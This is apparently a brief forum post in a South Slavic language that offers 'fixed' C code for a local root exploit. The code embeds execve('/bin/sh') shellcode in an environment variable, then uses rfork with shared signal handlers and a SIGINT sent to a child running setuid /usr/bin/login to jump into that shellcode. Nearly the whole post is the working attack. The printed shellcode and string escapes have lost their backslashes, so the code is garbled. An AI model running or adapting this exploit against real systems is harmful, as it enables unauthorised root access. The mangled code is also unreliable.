Probaj ovaj kod ,naso sam gresku :
Code:
#include<sys/types.h>
#include<signal.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
char shell[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"xebx17x5bx31xc0x88x43x07x89x5bx08x89x43x0cx50x8d"
"x53x08x52x53xb0x3bx50xcdx80xe8xe4xffxffxff/bin/sh";
int main(int argc,char **argv){
int pid;
char *c0d3;
if (!(c0d3 = getenv("HOUSE")) ){
setenv("HOUSE",shell,1);
execl(argv[0],argv[0],NULL);
}
pid = rfork(RFPROC|RFSIGSHARE);
if ( pid == 0){
printf("Child n");
execl("/usr/bin/login","login",NULL);
_exit(0);
} else {
printf("parentn");
printf("%pn",c0d3);
fflush(stdout);
sleep(1);
signal(SIGINT,(sig_t)shell);
printf("Sendign signaln");
kill(pid,SIGINT);
for(;;);
}
}